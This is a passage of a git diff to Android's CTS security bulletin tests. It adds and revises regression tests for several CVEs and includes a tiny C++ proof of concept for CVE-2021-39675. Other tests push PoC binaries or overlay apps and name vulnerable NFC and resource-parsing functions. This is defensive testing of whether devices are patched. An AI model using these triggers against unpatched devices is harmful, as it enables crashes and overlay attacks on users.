00000000000..78ebda8c62b --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp @@ -0,0 +1,22 @@ +/** + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include "../includes/common.h" +#include "gki.h" + +int main() { + return (GKI_getbuf(USHRT_MAX) == nullptr) ? EXIT_SUCCESS : EXIT_VULNERABLE; +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java index 31da488db56..810f92d7616 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java @@ -34,9 +34,10 @@ public class CVE_2018_9558 extends SecurityTestCase { @AsbSecurityTest(cveBugId = 112161557) public void testPocCVE_2018_9558() throws Exception { AdbUtils.assumeHasNfc(getDevice()); + assumeIsSupportedNfcDevice(getDevice()); pocPusher.only64(); String binaryName = "CVE-2018-9558"; - String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT}; + String signals[] = {CrashUtils.SIGABRT}; AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName); testConfig.config.setSignals(signals); diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java new file mode 100644 index 00000000000..181d660df48 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java @@ -0,0 +1,56 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.compatibility.common.util.CrashUtils; +import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import java.util.regex.Pattern; + +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2019_2012 extends SecurityTestCase { + + /** + * b/120497437 + * Vulnerability Behaviour: SIGSEGV in self + * Vulnerable Library: libnfc-nci (As per AOSP code) + * Vulnerable Function: rw_t3t_update_block (As per AOSP code) + */ + @AsbSecurityTest(cveBugId = 120497437) + @Test + public void testPocCVE_2019_2012() throws Exception { + AdbUtils.assumeHasNfc(getDevice()); + assumeIsSupportedNfcDevice(getDevice()); + pocPusher.only64(); + String signals[] = {CrashUtils.SIGSEGV}; + String binaryName = "CVE-2019-2012"; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName)) + .setBacktraceIncludes( + new BacktraceFilterPattern("libnfc-nci", "rw_t3t_update_block")); + testConfig.config + .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath")); + testConfig.config.setSignals(signals); + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java new file mode 100644 index 00000000000..6689459f68a --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java @@ -0,0 +1,52 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.compatibility.common.util.CrashUtils; + +import java.util.Arrays; +import java.util.ArrayList; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2020_0034 extends SecurityTestCase { + + /** + * b/62458770 + * Vulnerability Behaviour: SIGABRT in self + */ + @AsbSecurityTest(cveBugId = 62458770) + @Test + public void testPocCVE_2020_0034() throws Exception { + pocPusher.only32(); + String binaryName = "CVE-2020-0034"; + String inputFiles[] = {"cve_2020_0034.ivf"}; + String signals[] = {CrashUtils.SIGABRT}; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName); + testConfig.inputFiles = Arrays.asList(inputFiles); + testConfig.inputFilesDestination = AdbUtils.TMP_PATH; + testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0]; + testConfig.config.setSignals(signals); + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java index 9573b393bf6..2c39674c45f 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java @@ -35,9 +35,10 @@ public class CVE_2020_0073 extends SecurityTestCase { @AsbSecurityTest(cveBugId = 147309942) public void testPocCVE_2020_0073() throws Exception { AdbUtils.assumeHasNfc(getDevice()); + assumeIsSupportedNfcDevice(getDevice()); pocPusher.only64(); String binaryName = "CVE-2020-0073"; - String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT}; + String signals[] = {CrashUtils.SIGABRT}; AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName); testConfig.config.setSignals(signals); diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java index af3503ce88d..585d19bfbd2 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java @@ -1,5 +1,5 @@ /** - * Copyright (C) 2021 The Android Open Source Project + * Copyright (C) 2022 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. @@ -17,21 +17,40 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.compatibility.common.util.CrashUtils; +import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import java.util.regex.Pattern; + +import org.junit.runner.RunWith; +import org.junit.Test; + @RunWith(DeviceJUnit4ClassRunner.class) public class CVE_2021_0430 extends SecurityTestCase { /** * b/178725766 * Vulnerability Behaviour: SIGSEGV in self + * Vulnerable Library: libnfc-nci (As per AOSP code) + * Vulnerable Function: rw_mfc_handle_read_op (As per AOSP code) */ @Test @AsbSecurityTest(cveBugId = 178725766) public void testPocCVE_2021_0430() throws Exception { + AdbUtils.assumeHasNfc(getDevice()); + assumeIsSupportedNfcDevice(getDevice()); pocPusher.only64(); - AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0430", null, getDevice()); + String signals[] = {CrashUtils.SIGSEGV}; + String binaryName = "CVE-2021-0430"; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName)) + .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci", + "rw_mfc_handle_read_op")); + testConfig.config + .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath")); + testConfig.config.setSignals(signals); + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); } } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java index db0a1b27cd2..77c9188d6b5 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java @@ -1,4 +1,4 @@ -/** +/* * Copyright (C) 2021 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); @@ -16,85 +16,42 @@ package android.security.cts; +import android.platform.test.annotations.AppModeFull; import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import java.util.regex.Pattern; -import java.util.regex.Matcher; -import org.junit.Test; +import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import org.junit.Assert; +import org.junit.Before; import org.junit.runner.RunWith; - -import static org.hamcrest.core.Is.is; -import static org.junit.Assert.assertThat; +import org.junit.Test; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0523 extends SecurityTestCase { +public class CVE_2021_0523 extends BaseHostJUnit4Test { + private static final String TEST_PKG = "android.security.cts.cve_2021_0523"; + private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + private static final String TEST_APP = "CVE-2021-0523.apk"; - private static void extractInt(String str, int[] displaySize) { - str = ((str.replaceAll("[^\\d]", " ")).trim()).replaceAll(" +", " "); - if (str.equals("")) { - return; - } - String s[] = str.split(" "); - for (int i = 0; i < s.length; ++i) { - displaySize[i] = Integer.parseInt(s[i]); - } + @Before + public void setUp() throws Exception { + ITestDevice device = getDevice(); + uninstallPackage(device, TEST_PKG); + /* Wake up the screen */ + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); } /** * b/174047492 */ - @Test + @AppModeFull @AsbSecurityTest(cveBugId = 174047492) + @Test public void testPocCVE_2021_0523() throws Exception { - final int SLEEP_INTERVAL_MILLISEC = 30 * 1000; - String apkName = "CVE-2021-0523.apk"; - String appPath = AdbUtils.TMP_PATH + apkName; - String packageName = "android.security.cts.cve_2021_0523"; - String crashPattern = - "Device is vulnerable to b/174047492 hence any app with " + - "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen"; - ITestDevice device = getDevice(); - - try { - /* Push the app to /data/local/tmp */ - pocPusher.appendBitness(false); - pocPusher.pushFile(apkName, appPath); - - /* Wake up the screen */ - AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); - AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); - AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); - - /* Install the application */ - AdbUtils.runCommandLine("pm install " + appPath, device); - - /* Grant "Draw over other apps" permission */ - AdbUtils.runCommandLine( - "pm grant " + packageName + " android.permission.SYSTEM_ALERT_WINDOW", device); - - /* Start the application */ - AdbUtils.runCommandLine("am start -n " + packageName + "/.PocActivity", getDevice()); - Thread.sleep(SLEEP_INTERVAL_MILLISEC); - - /* Get screen width and height */ - int[] displaySize = new int[2]; - extractInt(AdbUtils.runCommandLine("wm size", device), displaySize); - int width = displaySize[0]; - int height = displaySize[1]; - - /* Give a tap command for center of screen */ - AdbUtils.runCommandLine("input tap " + width / 2 + " " + height / 2, device); - } catch (Exception e) { - e.printStackTrace(); - } finally { - /* Un-install the app after the test */ - AdbUtils.runCommandLine("pm uninstall " + packageName, device); - - /* Detection of crash pattern in the logs */ - String logcat = AdbUtils.runCommandLine("logcat -d *:S AndroidRuntime:E", device); - Pattern pattern = Pattern.compile(crashPattern, Pattern.MULTILINE); - assertThat(crashPattern, pattern.matcher(logcat).find(), is(false)); - } + installPackage(TEST_APP); + AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW", + getDevice()); + Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence")); } } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java new file mode 100644 index 00000000000..285f57af096 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java @@ -0,0 +1,56 @@ +/** + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AppModeFull; +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; + +import org.junit.Assert; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_0642 extends BaseHostJUnit4Test { + static final String TEST_APP = "CVE-2021-0642.apk"; + static final String TEST_PKG = "android.security.cts.cve_2021_0642"; + static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + + @Before + public void setUp() throws Exception { + ITestDevice device = getDevice(); + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + uninstallPackage(device, TEST_PKG); + } + + /** + * b/185126149 + */ + @AppModeFull + @AsbSecurityTest(cveBugId = 185126149) + @Test + public void testPocCVE_2021_0642() throws Exception { + installPackage(TEST_APP); + Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2021_0642")); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java new file mode 100644 index 00000000000..6d320f562d8 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java @@ -0,0 +1,43 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_0953 extends BaseHostJUnit4Test { + + @AsbSecurityTest(cveBugId = 184046278) + @Test + public void testPocCVE_2021_0953() throws Exception { + final String TEST_PKG = "android.security.cts.CVE_2021_0953"; + final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + final String TEST_APP = "CVE-2021-0953.apk"; + ITestDevice device = getDevice(); + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + installPackage(TEST_APP); + runDeviceTests(TEST_PKG, TEST_CLASS, "testMutablePendingIntent"); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java index a242904c0c2..4deab6614e8 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java @@ -16,15 +16,17 @@ package android.security.cts; -import static org.junit.Assert.assertFalse; + import android.platform.test.annotations.AppModeFull; import android.platform.test.annotations.AsbSecurityTest; + import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; + +import org.junit.Assert; import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; -import java.util.regex.Pattern; @RunWith(DeviceJUnit4ClassRunner.class) public class CVE_2021_0965 extends BaseHostJUnit4Test { @@ -45,10 +47,6 @@ public class CVE_2021_0965 extends BaseHostJUnit4Test { @Test public void testPocCVE_2021_0965() throws Exception { installPackage(TEST_APP, new String[0]); - runDeviceTests(TEST_PKG, TEST_CLASS, "testPermission"); - String errorLog = "Vulnerable to b/194300867 !!"; - String logcat = AdbUtils.runCommandLine("logcat -d AndroidRuntime:E *:S", getDevice()); - Pattern pattern = Pattern.compile(errorLog, Pattern.MULTILINE); - assertFalse(pattern.matcher(logcat).find()); + Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testPermission")); } } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java new file mode 100644 index 00000000000..6cac004b175 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java @@ -0,0 +1,56 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.compatibility.common.util.CrashUtils; +import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import org.junit.runner.RunWith; +import org.junit.Test; + +import java.util.Arrays; +import java.util.regex.Pattern; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_39664 extends SecurityTestCase { + + /** + * b/203938029 + * Vulnerability Behaviour: SIGSEGV in self + * Vulnerable Library: libandroidfw (As per AOSP code) + * Vulnerable Function: android::LoadedPackage::Load (As per AOSP code) + */ + @AsbSecurityTest(cveBugId = 203938029) + @Test + public void testPocCVE_2021_39664() throws Exception { + String inputFiles[] = {"cve_2021_39664"}; + String signals[] = {CrashUtils.SIGSEGV}; + String binaryName = "CVE-2021-39664"; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName)) + .setBacktraceIncludes(new BacktraceFilterPattern("libandroidfw", + "android::LoadedPackage::Load")); + testConfig.config.setSignals(signals); + testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0]; + testConfig.inputFiles = Arrays.asList(inputFiles); + testConfig.inputFilesDestination = AdbUtils.TMP_PATH; + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java index 4df0f6ffde8..8f12b522fad 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java @@ -1,4 +1,4 @@ -/** +/* * Copyright (C) 2021 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); @@ -17,20 +17,26 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import org.junit.runner.RunWith; +import org.junit.Test; + @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0684 extends SecurityTestCase { +public class CVE_2021_39675 extends SecurityTestCase { /** - * b/179839665 - * Vulnerability Behaviour: SIGSEGV in Self + * b/205729183 + * Vulnerability Behavior: EXIT_VULNERABLE (113) */ - @AsbSecurityTest(cveBugId = 179839665) + @AsbSecurityTest(cveBugId = 205729183) @Test - public void testPocCVE_2021_0684() throws Exception { - AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0684", null, getDevice()); + public void testPocCVE_2021_39675() throws Exception { + AdbUtils.assumeHasNfc(getDevice()); + assumeIsSupportedNfcDevice(getDevice()); + pocPusher.only64(); + AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-39675", getDevice(), + AdbUtils.TIMEOUT_SEC); } } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java new file mode 100644 index 00000000000..d92af4d40f2 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java @@ -0,0 +1,52 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AppModeFull; +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; + +import org.junit.Assert; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_39702 extends BaseHostJUnit4Test { + private static final String TEST_PKG = "android.security.cts.CVE_2021_39702"; + private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + private static final String TEST_APP = "CVE-2021-39702.apk"; + + @AppModeFull + @AsbSecurityTest(cveBugId = 205150380) + @Test + public void testPocCVE_2021_39702() throws Exception { + ITestDevice device = getDevice(); + uninstallPackage(device, TEST_PKG); + + /* Wake up the screen */ + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + installPackage(TEST_APP); + AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW", + device); + Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence")); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java index 0353c3d6de6..d7a3afc7a6d 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java @@ -19,6 +19,7 @@ package android.security.cts; import com.android.compatibility.common.util.MetricsReportLog; import com.android.compatibility.common.util.ResultType; import com.android.compatibility.common.util.ResultUnit; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; import com.android.tradefed.build.IBuildInfo; import com.android.tradefed.config.Option; import com.android.tradefed.testtype.IBuildReceiver; @@ -49,7 +50,7 @@ import static org.junit.Assert.*; import static org.junit.Assume.*; import static org.hamcrest.core.Is.is; -public class SecurityTestCase extends BaseHostJUnit4Test { +public class SecurityTestCase extends StsExtraBusinessLogicHostTestBase { private static final String LOG_TAG = "SecurityTestCase"; private static final int RADIX_HEX = 16; @@ -58,7 +59,7 @@ public class SecurityTestCase extends BaseHostJUnit4Test { // account for the poc timer of 5 minutes (+15 seconds for safety) protected static final int TIMEOUT_NONDETERMINISTIC = 315; - private long kernelStartTime; + private long kernelStartTime = -1; private HostsideMainlineModuleDetector mainlineModuleDetector = new HostsideMainlineModuleDetector(this); @@ -119,9 +120,13 @@ public class SecurityTestCase extends BaseHostJUnit4Test { getDevice().waitForDeviceAvailable(30 * 1000); } - long deviceTime = getDeviceUptime() + kernelStartTime; - long hostTime = System.currentTimeMillis() / 1000; - assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2); + if (kernelStartTime != -1) { + // only fail when the kernel start time is valid + long deviceTime = getDeviceUptime() + kernelStartTime; + long hostTime = System.currentTimeMillis() / 1000; + assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2); + kernelStartTime = -1; + } // TODO(badash@): add ability to catch runtime restart } @@ -340,7 +345,7 @@ public class SecurityTestCase extends BaseHostJUnit4Test { String supportedDrivers[] = { "/dev/nq-nci*", "/dev/pn54*", "/dev/pn551*", "/dev/pn553*", "/dev/pn557*", "/dev/pn65*", "/dev/pn66*", "/dev/pn67*", "/dev/pn80*", "/dev/pn81*", "/dev/sn100*", "/dev/sn220*", - "/dev/st54j*" }; + "/dev/st54j*", "/dev/st21nfc*" }; boolean isDriverFound = false; for(String supportedDriver : supportedDrivers) { if(containsDriver(device, supportedDriver, false)) { diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java index b2dc9b816ac..e44a04ae2b0 100644 --- a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java +++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java @@ -41,6 +41,7 @@ import androidx.test.uiautomator.Until; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNull; import static org.junit.Assert.assertNotNull; +import static org.junit.Assume.assumeNotNull; /** Basic sample for unbundled UiAutomator. */ @RunWith(AndroidJUnit4.class) @@ -111,7 +112,7 @@ public class DeviceTest { mContext.startActivity(intent); UiObject2 view = waitForView(By.text(Constants.TEST_APP_PACKAGE)); - assertNotNull("Activity under-test was not launched or found!", view); + assumeNotNull("Activity under-test was not launched or found!", view); Log.d(LOG_TAG, "Started Activity under-test."); } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp index a105e840158..7ff13699738 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp @@ -21,18 +21,17 @@ package { android_test_helper_app { name: "CVE-2021-0523", - srcs: [ - "src/android/security/cts/CVE_2021_0523/PocActivity.java", - "src/android/security/cts/CVE_2021_0523/PocService.java", - ], + defaults: ["cts_support_defaults"], + srcs: ["src/**/*.java"], test_suites: [ "cts", "vts10", "sts", - "general-tests", ], - sdk_version: "system_current", static_libs: [ - "androidx.test.ext.junit", + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + "androidx.test.core", ], + sdk_version: "current", } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml index 594e42765e8..e21b9b700fd 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml @@ -20,24 +20,30 @@ android:versionName="1.0"> <uses-permission android:name="android.permission.FOREGROUND_SERVICE" /> - <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/> - <uses-permission android:name="android.permission.WAKE_LOCK" /> + <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" /> <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" /> <application android:allowBackup="true" android:label="CVE-2021-0523" android:supportsRtl="true"> + <uses-library android:name="android.test.runner" /> <service android:name=".PocService" android:enabled="true" android:exported="false" /> - <activity android:name=".PocActivity"> + <activity android:name=".PocActivity" + android:exported="true" + android:taskAffinity="android.security.cts.cve_2021_0523.PocActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> + + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.cve_2021_0523" /> </manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml 